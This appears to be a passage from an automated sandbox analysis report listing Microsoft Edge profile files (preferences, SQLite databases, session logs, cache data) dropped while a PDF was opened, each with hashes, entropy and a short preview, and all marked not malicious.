SHA-512:	A1A861BBE3D275229BD39E11A72D894D9838145876FB40D1E233D1637F26BD5C13FBCF329D7984E0F89C3D69D1177E0E852C47B2404AC4A161101EA6ED0C7DE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Pdf\pdfSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	0.7987769413545694
Encrypted:	false
SSDEEP:	12:LBtiuWkKcwF11DM/FAf4AD2O7L0rqq9HzKvWD:LLiuW9LFPY/Wf4AD2o0rqqBzKuD
MD5:	1DDA7D0A1D9C2DB3AC3B017AD91E4AA6
SHA1:	D6CF4EE7FF4F62C59E1FF4D6946D16BCE112D0DE
SHA-256:	F03E25710BF83602666863F7752E6DBC16318C1D9EEE6C1B46A2933E1DED1902
SHA-512:	38CE806D0580F375138436C9AE3EB97E711781D7D7952B797475D5E02DBCA0CD36284CF159ECCF990E7ECE939EDD8D520F11E9B0E34E1975B3B209DA86342D33
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9378
Entropy (8bit):	5.088982193783439
Encrypted:	false
SSDEEP:	192:st2Seks3/aFvrEmktd3e88bV+FiAvU4PtYJ:st2Jks3/CDpbGiXT
MD5:	89E9D0F9BB7FA33FB2BCF2210E0A5BF1
SHA1:	7C31CE9343115A4E472AAC928ACC12766412318A
SHA-256:	D2B6FCA9D162B628149AFF262BA02E350AF58DEB20A16C480FFA67423313E783
SHA-512:	B3C4899AF4B73BBC52CDFA582AC9D6BE5CB5405700340D9A009C0119A5433A2750D2693BF2DAC5A4D9766CA2EA948F01EE77FF7DC64E4FF0C60F9F7417B295CD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"collections":{"prism_collections":{"enabled":0,"policy":{"cached":2}},"rss_dev_feed":{"policy":{"cached":false}}},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ea51.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9378
Entropy (8bit):	5.088982193783439
Encrypted:	false
SSDEEP:	192:st2Seks3/aFvrEmktd3e88bV+FiAvU4PtYJ:st2Jks3/CDpbGiXT
MD5:	89E9D0F9BB7FA33FB2BCF2210E0A5BF1
SHA1:	7C31CE9343115A4E472AAC928ACC12766412318A
SHA-256:	D2B6FCA9D162B628149AFF262BA02E350AF58DEB20A16C480FFA67423313E783
SHA-512:	B3C4899AF4B73BBC52CDFA582AC9D6BE5CB5405700340D9A009C0119A5433A2750D2693BF2DAC5A4D9766CA2EA948F01EE77FF7DC64E4FF0C60F9F7417B295CD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"collections":{"prism_collections":{"enabled":0,"policy":{"cached":2}},"rss_dev_feed":{"policy":{"cached":false}}},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4363f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9378
Entropy (8bit):	5.088982193783439
Encrypted:	false
SSDEEP:	192:st2Seks3/aFvrEmktd3e88bV+FiAvU4PtYJ:st2Jks3/CDpbGiXT
MD5:	89E9D0F9BB7FA33FB2BCF2210E0A5BF1
SHA1:	7C31CE9343115A4E472AAC928ACC12766412318A
SHA-256:	D2B6FCA9D162B628149AFF262BA02E350AF58DEB20A16C480FFA67423313E783
SHA-512:	B3C4899AF4B73BBC52CDFA582AC9D6BE5CB5405700340D9A009C0119A5433A2750D2693BF2DAC5A4D9766CA2EA948F01EE77FF7DC64E4FF0C60F9F7417B295CD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"collections":{"prism_collections":{"enabled":0,"policy":{"cached":2}},"rss_dev_feed":{"policy":{"cached":false}}},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4ab7e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9378
Entropy (8bit):	5.088982193783439
Encrypted:	false
SSDEEP:	192:st2Seks3/aFvrEmktd3e88bV+FiAvU4PtYJ:st2Jks3/CDpbGiXT
MD5:	89E9D0F9BB7FA33FB2BCF2210E0A5BF1
SHA1:	7C31CE9343115A4E472AAC928ACC12766412318A
SHA-256:	D2B6FCA9D162B628149AFF262BA02E350AF58DEB20A16C480FFA67423313E783
SHA-512:	B3C4899AF4B73BBC52CDFA582AC9D6BE5CB5405700340D9A009C0119A5433A2750D2693BF2DAC5A4D9766CA2EA948F01EE77FF7DC64E4FF0C60F9F7417B295CD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907603772078","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"collections":{"prism_collections":{"enabled":0,"policy":{"cached":2}},"rss_dev_feed":{"policy":{"cached":false}}},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28539
Entropy (8bit):	5.562044186583687
Encrypted:	false
SSDEEP:	768:qSzH7OWXF7pLGLhVMW5wlBf4sT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPvMI7gzBQ:qGbOITchVMWalBflTu1ja0ZKyQtc
MD5:	B31C8D2FC6CF35FE5130FD07CA5BF360
SHA1:	10784E65F585DB6A44996A48A5560A0F4F176503
SHA-256:	E111D00C4906891B8412141B2413549B300FC7566CCD9648008EF2525357CF39
SHA-512:	8A25140A5D3ECBAED6C4E14C88BEF2BCFF408D3A5FBFDF55F4AE7566047C9C2C69603D72790C5C02E9AFDBE23F70901E0DF332C57EBCA5B134FC4D32CC8C4D48
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907603256849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907603256849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3eb4b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28539
Entropy (8bit):	5.562044186583687
Encrypted:	false
SSDEEP:	768:qSzH7OWXF7pLGLhVMW5wlBf4sT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPvMI7gzBQ:qGbOITchVMWalBflTu1ja0ZKyQtc
MD5:	B31C8D2FC6CF35FE5130FD07CA5BF360
SHA1:	10784E65F585DB6A44996A48A5560A0F4F176503
SHA-256:	E111D00C4906891B8412141B2413549B300FC7566CCD9648008EF2525357CF39
SHA-512:	8A25140A5D3ECBAED6C4E14C88BEF2BCFF408D3A5FBFDF55F4AE7566047C9C2C69603D72790C5C02E9AFDBE23F70901E0DF332C57EBCA5B134FC4D32CC8C4D48
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907603256849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907603256849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	2.7541301583060975
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljl:S85aEFljljljljljljljljl
MD5:	046CC08D163FC4578CD1B77A5D0965AC
SHA1:	92F503E605C30974BAF385F1619F1269B81DEC57
SHA-256:	693A60684AA9FF4F01CB6027E9C938F4701C0C898AFC224A0776CB1E18E87166
SHA-512:	E8B1DF36A237BCBBAD897146CA247EDF75466B2A4030FEC620C46932B5C31137F2931CD2758534E4308AED3FB9CC40EDF2D7646A38530BCC5E6D7069C19A3B1F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.133168738481981
Encrypted:	false
SSDEEP:	6:7pTkq2PN723oH+TcwtrQMxIFUt8OpCX9Zmw+OpC+UkwON723oH+TcwtrQMFLJ:7JkvVaYebCFUt8OIX9/+OI+U5OaYebtJ
MD5:	9108B56F455A7CF79E344EA57727667B
SHA1:	F5E193EC4E41F7AD9D111EF1526A064B530EB574
SHA-256:	B4E0602402AFD8F6139AB2A7BBC20FD3DECC8EAC79CF1A25F52FCC686CC65226
SHA-512:	BDC33CC96584ACF00D1078DF09498CDFF4117E31EA024877C55081FE8B4AFFFD1F99ED5399DFE9B6F2AAB87A6EA11C4D27FA17A0EA7E0231347A65C264FC42B5
Malicious:	false
Preview:	2024/12/17-06:13:23.773 1904 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/17-06:13:24.180 1904 Recovering log #3.2024/12/17-06:13:24.182 1904 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.133168738481981
Encrypted:	false
SSDEEP:	6:7pTkq2PN723oH+TcwtrQMxIFUt8OpCX9Zmw+OpC+UkwON723oH+TcwtrQMFLJ:7JkvVaYebCFUt8OIX9/+OI+U5OaYebtJ
MD5:	9108B56F455A7CF79E344EA57727667B
SHA1:	F5E193EC4E41F7AD9D111EF1526A064B530EB574
SHA-256:	B4E0602402AFD8F6139AB2A7BBC20FD3DECC8EAC79CF1A25F52FCC686CC65226
SHA-512:	BDC33CC96584ACF00D1078DF09498CDFF4117E31EA024877C55081FE8B4AFFFD1F99ED5399DFE9B6F2AAB87A6EA11C4D27FA17A0EA7E0231347A65C264FC42B5
Malicious:	false
Preview:	2024/12/17-06:13:23.773 1904 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/17-06:13:24.180 1904 Recovering log #3.2024/12/17-06:13:24.182 1904 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13378907605763801

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2390
Entropy (8bit):	3.5307318603230513
Encrypted:	false
SSDEEP:	24:3fGJ6zdZPjlJD3gct1q+nKTLk+vBQEpAckk+vBQE8RB9YEZHxXlit1q+n:3O2dZPjrgxsYk+PWk+PGpHxX1s
MD5:	5F45D02AD850A898D6B6F8483F97AA46
SHA1:	C051903A90EA832368390539BD00DE0A589E1132
SHA-256:	6E1DD91D1CD8E31F8158D95FCEACF3EB34A5BA9B423596E17796F05BA4F8D4DE
SHA-512:	1533610E81B203B0CA499A7452F3AA3075E12214AA371F669D9CF3AD1553ADBEA8AD509B99F0A0E340B5F620A9FAC9E22A06C5C7EC54BD7F834B53A34055B7B8
Malicious:	false
Preview:	SNSS.......<Z.............<Z........"<Z.............<Z.........<Z.........=Z.........=Z......!..=Z.................................<Z..=Z..1..,...=Z..$...3ac8c479_2d11_4cda_8a19_4991cf2960de...<Z.........=Z......9..........<Z.....<Z......................5..0...<Z..&...{46F3A197-DB49-410A-81B3-94975C835573}.....<Z............>Z.........>Z......!..>Z.................................<Z..>Z..1..,...>Z..$...3863d5e5_a7f5_4e53_b544_ef07f7437296...<Z.........>Z.................>Z......q..l...>Z......U...file:///C:/Users/user/AppData/Local/Temp/130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf.......T...P...!...H...........................................................@...............H...............@..........cu).....cu)..................................X...................................................U...f.i.l.e.:./././.C.:./.U.s.e.r.s./.e.n.g.i.n.e.e.r./.A.p.p.D.a.t.a./.L.o.c.a.l./.T.e.m.p./.1.3.0.e.9.6.9.b.-.e.5.c.7.-.4.3.4.0.-.a.2.c.f.-.7.f.2.2.5.f.4.9.c.2.e.1...p.d.f.....................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.180813245411652
Encrypted:	false
SSDEEP:	6:7pXfq2PN723oH+Tcwt7Uh2ghZIFUt8Op19Zmw+Op1PkwON723oH+Tcwt7Uh2gnLJ:7tvVaYebIhHh2FUt8O9/+OP5OaYebIh9
MD5:	6EAE153FDE885443EFB4D08956782E9A
SHA1:	F585CFA7E9D08C62BD94606D5F19B177DD6F776B
SHA-256:	7EA948514C3F88177F8BBF4DD43F70F5C5EBF05F6582C329F26C35A2DDF94338
SHA-512:	496D143E329663F13DBCDA0649EDD11EFE90CFA44E8909DF7C317BBB9E346B2E7033F3B4BAE43D3FFC9EB7EE991DC1FE0BB30F797F03A1201F2B531FBD3663F9
Malicious:	false
Preview:	2024/12/17-06:13:23.355 1b84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/17-06:13:23.356 1b84 Recovering log #3.2024/12/17-06:13:23.356 1b84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.180813245411652
Encrypted:	false
SSDEEP:	6:7pXfq2PN723oH+Tcwt7Uh2ghZIFUt8Op19Zmw+Op1PkwON723oH+Tcwt7Uh2gnLJ:7tvVaYebIhHh2FUt8O9/+OP5OaYebIh9
MD5:	6EAE153FDE885443EFB4D08956782E9A
SHA1:	F585CFA7E9D08C62BD94606D5F19B177DD6F776B
SHA-256:	7EA948514C3F88177F8BBF4DD43F70F5C5EBF05F6582C329F26C35A2DDF94338
SHA-512:	496D143E329663F13DBCDA0649EDD11EFE90CFA44E8909DF7C317BBB9E346B2E7033F3B4BAE43D3FFC9EB7EE991DC1FE0BB30F797F03A1201F2B531FBD3663F9
Malicious:	false
Preview:	2024/12/17-06:13:23.355 1b84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/17-06:13:23.356 1b84 Recovering log #3.2024/12/17-06:13:23.356 1b84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.246074280058802
Encrypted:	false
SSDEEP:	12:7RfAvVaYebvqBQFUt8OR0/+ORTFVz5OaYebvqBvJ:7RfyVaYebvZg8OR0RDlOaYebvk
MD5:	82DB4E7C10BEAE5608FCA4B8AD1C21C1
SHA1:	6DD37ED1A9D9081BFF32FC5FBB53C784C33E125C
SHA-256:	AD833775E8A524FC3BC9F742E9678C30D82DCB49289A50C73DC7A69501D1F3B8
SHA-512:	94F19820C7DB3598165651A8DDEB26A9F21B134CBBFBB85297FC260FE4FA5C0E4DA8A5DDE19FD27138B015CAD87073AAA9C7F9913E6A6C1A39820F03C1E7B260
Malicious:	false
Preview:	2024/12/17-06:13:24.073 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:13:24.074 1980 Recovering log #3.2024/12/17-06:13:24.077 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.246074280058802
Encrypted:	false
SSDEEP:	12:7RfAvVaYebvqBQFUt8OR0/+ORTFVz5OaYebvqBvJ:7RfyVaYebvZg8OR0RDlOaYebvk
MD5:	82DB4E7C10BEAE5608FCA4B8AD1C21C1
SHA1:	6DD37ED1A9D9081BFF32FC5FBB53C784C33E125C
SHA-256:	AD833775E8A524FC3BC9F742E9678C30D82DCB49289A50C73DC7A69501D1F3B8
SHA-512:	94F19820C7DB3598165651A8DDEB26A9F21B134CBBFBB85297FC260FE4FA5C0E4DA8A5DDE19FD27138B015CAD87073AAA9C7F9913E6A6C1A39820F03C1E7B260
Malicious:	false
Preview:	2024/12/17-06:13:24.073 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:13:24.074 1980 Recovering log #3.2024/12/17-06:13:24.077 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\25673109-6966-4f9e-922b-4851a15a29fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\58494649-656a-4ff5-a013-b0f6d8faabf3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3be50.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
